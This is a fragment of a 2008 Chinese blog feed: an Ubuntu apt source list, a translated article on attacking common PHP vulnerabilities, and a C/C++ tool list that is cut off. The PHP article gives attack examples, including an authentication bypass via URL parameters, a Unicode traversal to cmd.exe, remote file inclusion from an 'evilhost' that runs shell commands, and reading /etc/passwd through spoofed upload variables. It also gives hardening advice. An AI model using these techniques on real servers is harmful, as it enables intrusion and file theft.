<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[ubuntu]]></category>
<pubDate>Thu, 31 Jul 2008 10:53:05 +0000</pubDate> 
<guid>http://www.mefree.org/post/9/</guid> 
<description>
<![CDATA[ 
	# deb cdrom:[Ubuntu 8.04.1 _Hardy Heron_ - Release i386 (20080702.1)]/ hardy main restricted<br/># See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to<br/># newer versions of the distribution.<br/><br/>deb http://cn.archive.ubuntu.com/ubuntu/ hardy main restricted<br/>deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy main restricted<br/><br/>## Major bug fix updates produced after the final release of the<br/>## distribution.<br/>deb http://cn.archive.ubuntu.com/ubuntu/ hardy-updates main restricted<br/>deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy-updates main restricted<br/><br/>## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu<br/>## team, and may not be under a free licence. Please satisfy yourself as to<br/>## your rights to use the software. Also, please note that software in<br/>## universe WILL NOT receive any review or updates from the Ubuntu security<br/>## team.<br/>deb http://cn.archive.ubuntu.com/ubuntu/ hardy universe<br/>deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy universe<br/>deb http://cn.archive.ubuntu.com/ubuntu/ hardy-updates universe<br/>deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy-updates universe<br/><br/>## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu <br/>## team, and may not be under a free licence. Please satisfy yourself as to <br/>## your rights to use the software. Also, please note that software in <br/>## multiverse WILL NOT receive any review or updates from the Ubuntu<br/>## security team.<br/>deb http://cn.archive.ubuntu.com/ubuntu/ hardy multiverse<br/>deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy multiverse<br/>deb http://cn.archive.ubuntu.com/ubuntu/ hardy-updates multiverse<br/>deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy-updates multiverse<br/><br/>## Uncomment the following two lines to add software from the 'backports'<br/>## repository.<br/>## N.B. software from this repository may not have been tested as<br/>## extensively as that contained in the main release, although it includes<br/>## newer versions of some applications which may provide useful features.<br/>## Also, please note that software in backports WILL NOT receive any review<br/>## or updates from the Ubuntu security team.<br/># deb http://cn.archive.ubuntu.com/ubuntu/ hardy-backports main restricted universe multiverse<br/># deb-src http://cn.archive.ubuntu.com/ubuntu/ hardy-backports main restricted universe multiverse<br/><br/>## Uncomment the following two lines to add software from Canonical's<br/>## 'partner' repository. This software is not part of Ubuntu, but is<br/>## offered by Canonical and the respective vendors as a service to Ubuntu<br/>## users.<br/>deb http://archive.canonical.com/ubuntu hardy partner<br/>deb-src http://archive.canonical.com/ubuntu hardy partner<br/><br/>deb http://security.ubuntu.com/ubuntu hardy-security main restricted<br/>deb-src http://security.ubuntu.com/ubuntu hardy-security main restricted<br/>deb http://security.ubuntu.com/ubuntu hardy-security universe<br/>deb-src http://security.ubuntu.com/ubuntu hardy-security universe<br/>deb http://security.ubuntu.com/ubuntu hardy-security multiverse<br/>deb-src http://security.ubuntu.com/ubuntu hardy-security multiverse<br/><br/>deb http://ubuntu.cn99.com/ubuntu/ hardy main restricted universe multiverse<br/>deb http://ubuntu.cn99.com/ubuntu/ hardy-security main restricted universe multiverse<br/>deb http://ubuntu.cn99.com/ubuntu/ hardy-updates main restricted universe multiverse<br/>deb http://ubuntu.cn99.com/ubuntu/ hardy-proposed main restricted universe multiverse<br/>deb http://ubuntu.cn99.com/ubuntu/ hardy-backports main restricted universe multiverse<br/>deb-src http://ubuntu.cn99.com/ubuntu/ hardy main restricted universe multiverse<br/>deb-src http://ubuntu.cn99.com/ubuntu/ hardy-security main restricted universe multiverse<br/>deb-src http://ubuntu.cn99.com/ubuntu/ hardy-updates main restricted universe multiverse<br/>deb-src http://ubuntu.cn99.com/ubuntu/ hardy-proposed main restricted universe multiverse<br/>deb-src http://ubuntu.cn99.com/ubuntu/ hardy-backports main restricted universe multiverse
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/8/</link>
<title><![CDATA[如何对PHP程序中的常见漏洞进行攻击]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[php]]></category>
<pubDate>Tue, 29 Jul 2008 13:06:55 +0000</pubDate> 
<guid>http://www.mefree.org/post/8/</guid> 
<description>
<![CDATA[ 
	 <br/>之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。 Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au /studyinscarlet.txt找到。 <br/>由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。 <br/>文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。 <br/>好了，废话少说，我们言归正传！<br/><br/>[全局变量] <br/><br/>PHP 中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其 方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很 少初始化变量，毕竟，当它们第一次创建时，他们是空的。 <br/>很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。 <br/>例如： <br/>&lt;FORM METHOD=&quot;GET&quot; ACTION=&quot;test.php&quot;&gt; <br/>&lt;INPUT TYPE=&quot;TEXT&quot; NAME=&quot;hello&quot;&gt; <br/>&lt;INPUT TYPE=&quot;SUBMIT&quot;&gt; <br/>&lt;/FORM&gt; <br/>很 显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处理用户的输入，当“test.php”运行时，“$hello” 会 包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用 “test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&amp;setup=no，那么， 不止是“$hello”被创建，“$setup”也被创建了。 <br/>译者注：这两种方法也就是我们通常说的“POST”和“GET”方法。 <br/>下面的用户认证代码暴露了PHP的全局变量所导致的安全问题： <br/>&lt;?php <br/>if ($pass == &quot;hello&quot;) <br/>$auth = 1; <br/>... <br/>if ($auth == 1) <br/>echo &quot;some important information&quot;; <br/>?&gt; <br/>上面的代码首先检查用户的密码是否为“hello”，如果匹配的话，设置“$auth”为“1”，即通过认证。之后如果“$suth”为“1”的话，就会显示一些重要信息。 <br/>表 面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定“$auth”在没有设置值的时候是空的，却没有想到攻击 者可以创建任何全局变量并赋值，通过类似“http://server/test.php?auth=1”的方法，我们完全可以欺骗这段代码，使它相信我 们是已经认证过的。 <br/>因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。 <br/>一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开“track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。 <br/>但 是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量， HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于 HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数 组中，因此一个安全的PHP程序应该检查这四个数组。 <br/><br/>[远程文件] <br/><br/>PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子： <br/>&lt;?php <br/>if (!($fd = fopen(&quot;$filename&quot;, &quot;r&quot;)) <br/>echo(&quot;Could not open file: $filename&lt;BR&gt; &quot;); <br/>?&gt; <br/>上 面的脚本试图打开文件“$filename”，如果失败就显示错误信息。很明显，如果我们能够指定“$filename”的话，就能利用这个脚本浏览系统 中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程 文件的处理是透明的。 <br/>例如： <br/>如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir” <br/>则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。 <br/>这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。 <br/>例如： <br/>&lt;?php <br/>include($libdir . &quot;/languages.php&quot;); <br/>?&gt; <br/>上 例中“$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得“$libdir”没有被设置的话，那么他就可以改变这个路径。但是 攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件 languages.php，包含如下内容： <br/>&lt;?php <br/>passthru(&quot;/bin/ls /etc&quot;); <br/>?&gt; <br/>然后把“$libdir”设置为“http://&lt;evilhost&gt;/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。 <br/>需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt <br/><br/>[文件上载] <br/><br/>PHP自动支持基于RFC 1867的文件上载，我们看下面的例子： <br/>&lt;FORM METHOD=&quot;POST&quot; ENCTYPE=&quot;multipart/form-data&quot;&gt; <br/>&lt;INPUT TYPE=&quot;FILE&quot; NAME=&quot;hello&quot;&gt; <br/>&lt;INPUT TYPE=&quot;HIDDEN&quot; NAME=&quot;MAX_FILE_SIZE&quot; VALUE=&quot;10240&quot;&gt; <br/>&lt;INPUT TYPE=&quot;SUBMIT&quot;&gt; <br/>&lt;/FORM&gt; <br/>上 面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当 PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过 “$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。 <br/>因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。 <br/>这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。 <br/>让 我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机 的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。 <br/>但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子： <br/>$hello = Filename on local machine (e.g &quot;/tmp/phpxXuoXG&quot;) <br/>$hello_size = Size in bytes of file (e.g 1024) <br/>$hello_name = The original name of the file on the remote system (e.g &quot;c: emphello.txt&quot;) <br/>$hello_type = Mime type of uploaded file (e.g &quot;text/plain&quot;) <br/>然后PHP程序开始处理根据“$hello”指定的文件，问题在于“$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式： <br/>http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=text/plain&amp;hello_name=hello.txt <br/>就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））： <br/>$hello = &quot;/etc/passwd&quot; <br/>$hello_size = 10240 <br/>$hello_type = &quot;text/plain&quot; <br/>$hello_name = &quot;hello.txt&quot; <br/>上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理“/etc/passwd”（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。 <br/>我 在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某 个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。 <br/>作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码： <br/>&lt;?php <br/>if (file_exists($theme)) // Checks the file exists on the local system (no remote files) <br/>include(&quot;$theme&quot;); <br/>?&gt; <br/>如 果攻击者可以控制“$theme”的话，很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令， 但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地 机器上创建一个包含PHP代码的文件，然后创建一个包含名为“theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交 给上面的代码，PHP就会把攻击者提交的文件保存起来，并把“$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通 过，攻击者的代码也将执行。 <br/>获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具 集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文 件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。 <br/><br/>[库文件] <br/><br/>正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。 <br/>最 初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发现这是一个错误，因 为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为 Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是 “.php”， “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。 <br/>最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。 <br/>下面是一个很明显的例子： <br/>In main.php: <br/>&lt;?php <br/>$libDir = &quot;/libdir&quot;; <br/>$langDir = &quot;$libdir/languages&quot;; <br/>... <br/>include(&quot;$libdir/loadlanguage.php&quot;: <br/>?&gt; <br/>In libdir/loadlanguage.php: <br/>&lt;?php <br/>... <br/>include(&quot;$langDir/$userLang&quot;); <br/>?&gt; <br/>当 “libdir/loadlanguage.php” 被“main.php”调用时是相当安全的，但是因为“libdir/loadlanguage” 具有“.php”的扩展名，因此远程攻击者可以直接请求 这个文件，并且可以任意指定“$langDir”和“$userLang”的值。 <br/><br/>[Session文件] <br/><br/>PHP 4 或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事 实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。 <br/>事实上， 当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的“session id”，如果远程浏览器总是在发送请求时提交这个“session id”的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含“session id”）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开 始前加载到变量中。下面是一个简单的例子： <br/>&lt;?php <br/>session_destroy(); // Kill any data currently in the session <br/>$session_auth = &quot;shaun&quot;; <br/>session_register(&quot;session_auth&quot;); // Register $session_auth as a session variable <br/>?&gt; <br/>新版本的PHP都会自动把“$session_auth”的值设置为“shaun”，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。 <br/>一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话： <br/>&lt;?php <br/>if (!empty($session_auth)) <br/>// Grant access to site here <br/>?&gt; <br/>上 面的代码假定如果“$session_auth”被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就 可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。 <br/>Session 数据一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是类似 “sess_&lt;session id&gt;”的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是 nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信 息。 <br/>Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远 程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测 session文件的位置，而他知道文件名是“php&lt;session id&gt;”，所以只需猜测目录，而目录一般就是 “/tmp”。 <br/>另外，攻击者可以任意指定“session id”（例如“hello”），然后用这个“session id”创建一个session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和数字组合。 <br/><br/>[数据类型] <br/><br/>PHP 具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：“$hello”开始是字符串变量，值为“”，但是在求值时，就变成了整形变量 “0”，这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的，empty()返回的结果也不会为真。 <br/>PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着“$hello[&quot;000&quot;]”和“$hello[0]”也是不同的。 <br/>开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为“0”，而在另外的地方使用empty()来验证。 <br/><br/>[容易出错的函数] <br/><br/>我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表： <br/><br/>&lt;PHP代码执行&gt; <br/><br/>require()：读取指定文件的内容并且作为PHP代码解释 <br/>include()：同上 <br/>eval()：把给定的字符串作为PHP代码执行 <br/>preg_replace()：当与“/e”开关一起使用时，替换字符串将被解释为PHP代码 <br/><br/>&lt;命令执行&gt; <br/><br/>exec()：执行指定的命令，返回执行结果的最后一行 <br/>passthru()：执行指定命令，返回所有结果到客户浏览器 <br/>``：执行指定命令，返回所有结果到一个数组 <br/>system()：同passthru()，但是不处理二进制数据 <br/>popen()：执行指定的命令，把输入或输出连接到PHP文件描述符 <br/><br/>&lt;文件泄露&gt; <br/><br/>fopen()：打开文件，并对应一个PHP文件描述符 <br/>readfile()：读取文件的内容，然后输出到客户浏览器 <br/>file()：把整个文件内容读到一个数组中 <br/>译者注：其实这份列表还不是很全，比如“mail()”等命令也可能执行命令，所以需要自己补充一下。 <br/><br/>[如何增强PHP的安全性]<br/><br/>我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类： <br/>*低难度 <br/>**中低难度 <br/>***中高难度 <br/>****高难度 <br/>上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。 <br/>**** 设置“register_globals”为“off” <br/>这 个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量“hello”，PHP不会创建“$ hello”，而只会创建 “HTTP_GET/POST_VARS[&#039;hello&#039;]”。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很 大的不便。 <br/>*** 设置“safe_mode”为“on” <br/>打开这个选项，会增加如下限制： <br/>1． 限制哪个命令可以被执行 <br/>2． 限制哪个函数可以被使用 <br/>3． 基于脚本所有权和目标文件所有权的文件访问限制 <br/>4． 禁止文件上载功能 <br/>这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。 <br/>** 设置“open_basedir” <br/>这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。 <br/>** 设置“display_errors”为“off”，设置“log_errors”为“on” <br/>这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。 <br/>* 设置“allow_url_fopen”为“off” <br/>这个选项可以禁止远程文件功能
]]>
</description>
</item><item>
<link>http://www.mefree.org/post/7/</link>
<title><![CDATA[c 学习资源]]></title> 
<author>static &lt;nicenight@qq.com&gt;</author>
<category><![CDATA[c++]]></category>
<pubDate>Thu, 24 Jul 2008 02:54:13 +0000</pubDate> 
<guid>http://www.mefree.org/post/7/</guid> 
<description>
<![CDATA[ 
	<span class="typ">Compiler</span><span class="pun">:</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="typ">Borland</span><span class="pln"> C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Compiler</span><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="typ">Windows</span><span class="pln"> </span><span class="lit">5</span><span class="pun">.</span><span class="lit">5</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.codegear.com/downloads/free/cppbuilder</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">免费，只能在</span><span class="typ">Windows</span><span class="pun">下使用，并且版本很老</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Cygwin</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//cygwin.com</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="typ">Windows</span><span class="pun">下的</span><span class="typ">Linux</span><span class="pun">模拟环境，在我看来还不如直接安个</span><span class="pln">linux</span><span class="pun">用</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Digital</span><span class="pln"> </span><span class="typ">Mars</span><span class="pln"> C</span><span class="pun">/</span><span class="pln">C</span><span class="pun">++</span><span class="pln"> </span><span class="kwd">and</span><span class="pln"> D </span><span class="typ">Compilers</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.digitalmars.com</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">我似乎没有在</span><span class="pln">include</span><span class="pun">目录下找到</span><span class="pln">STL</span><span class="pun">的实现</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; GCC<br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//gcc.gnu.org/mirrors.html</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">已经更新到</span><span class="lit">4</span><span class="pun">.</span><span class="lit">3</span><span class="pun">.</span><span class="lit">0</span><span class="pun">版本了，</span><span class="lit">4</span><span class="pun">.</span><span class="lit">4</span><span class="pun">.</span><span class="lit">0</span><span class="pun">也正在开发中，增加了好几个</span><span class="pln">C</span><span class="pun">++</span><span class="lit">09</span><span class="pun">的特性。极力推荐</span><span class="pln"><br />&nbsp; &nbsp; <br /></span><span class="typ">Intel</span><span class="pln"> C</span><span class="pun">/</span><span class="pln">C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Compilers</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.intel.com/cd/software/products/asmo-na/eng/compilers/284132.htm</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="typ">Windows</span><span class="pun">版收费，</span><span class="typ">Linux</span><span class="pun">免费，自己权衡吧</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">MinGW</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Minimalist</span><span class="pln"> GNU </span><span class="kwd">for</span><span class="pln"> </span><span class="typ">Windows</span><span class="pln"> <br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.mingw.org</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="typ">Windows</span><span class="pun">下想用</span><span class="pln">GCC</span><span class="pun">好像只有用</span><span class="typ">MinGW</span><span class="pun">了</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Open</span><span class="pln"> </span><span class="typ">Watcom</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.openwatcom.org/index.php/Main_Page</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">&ldquo;训练有素的&rdquo;编译器，以代码优化和执行效率高著称，可惜那是很早以前的事情了</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Studio</span><span class="pln"> </span><span class="lit">2008</span><span class="pln"> </span><span class="typ">Express</span><span class="pun">-</span><span class="pln"> </span><span class="typ">Downloads</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//msdn2.microsoft.com/zh-cn/express/future/bb421473.aspx#cd</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">不介绍</span><span class="pln"><br />&nbsp; &nbsp; <br />IDE</span><span class="pun">:</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="typ">Anjuta</span><span class="pln"> </span><span class="typ">Integrated</span><span class="pln"> </span><span class="typ">Development</span><span class="pln"> </span><span class="typ">Environment</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//anjuta.sourceforge.net</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">另外一种选择吧</span><span class="pln"><br /><br />&nbsp; &nbsp; </span><span class="typ">Code</span><span class="pln"> </span><span class="typ">Blocks</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.codeblocks.org</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">不错的跨平台</span><span class="pln">IDE</span><span class="pun">，用</span><span class="pln">wxWidget</span><span class="pun">写的界面</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Dev</span><span class="pun">-</span><span class="pln">C</span><span class="pun">++</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.bloodshed.net/devcpp.html</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">界面不友好，简陋</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Eclipse</span><span class="pln"> C</span><span class="pun">-</span><span class="pln">C</span><span class="pun">++</span><span class="pln"> </span><span class="typ">Development</span><span class="pln"> </span><span class="typ">Tooling</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> CDT<br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.eclipse.org/cdt</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">速度慢，没别的缺点</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">NetBeans</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.netbeans.org</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">一样的速度慢，</span><span class="typ">Java</span><span class="pun">就是一种煎熬</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; </span><span class="typ">Visual</span><span class="pln"> </span><span class="typ">Studio</span><span class="pln"> </span><span class="lit">2008</span><span class="pln"> </span><span class="typ">Express</span><span class="pun">-</span><span class="pln"> </span><span class="typ">Downloads</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//msdn2.microsoft.com/zh-cn/express/future/bb421473.aspx#cd</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">不介绍</span><span class="pln"><br />&nbsp; &nbsp; <br /></span><span class="typ">Library</span><span class="pun">:</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="typ">Hans_Boehm</span><span class="pln"> GC<br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.hpl.hp.com/personal/Hans_Boehm/gc</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">垃圾收集库，使用较广</span><span class="pln"><br />&nbsp; &nbsp; <br />&nbsp; &nbsp; ACE<br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//download.dre.vanderbilt.edu</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">庞大的</span><span class="pln">C</span><span class="pun">++网络编程库。庞大是缺点也是优点</span><span class="pln"><br /><br />&nbsp; &nbsp; </span><span class="typ">Blitz</span><span class="pun">++</span><span class="pln"><br />&nbsp; &nbsp; http</span><span class="pun">:</span><span class="com">//www.oonumerics.org/blitz</span><span class="pln"><br />&nbsp; &nbsp; </span><span class="pun">科学计算库</span><span class="pln"><br 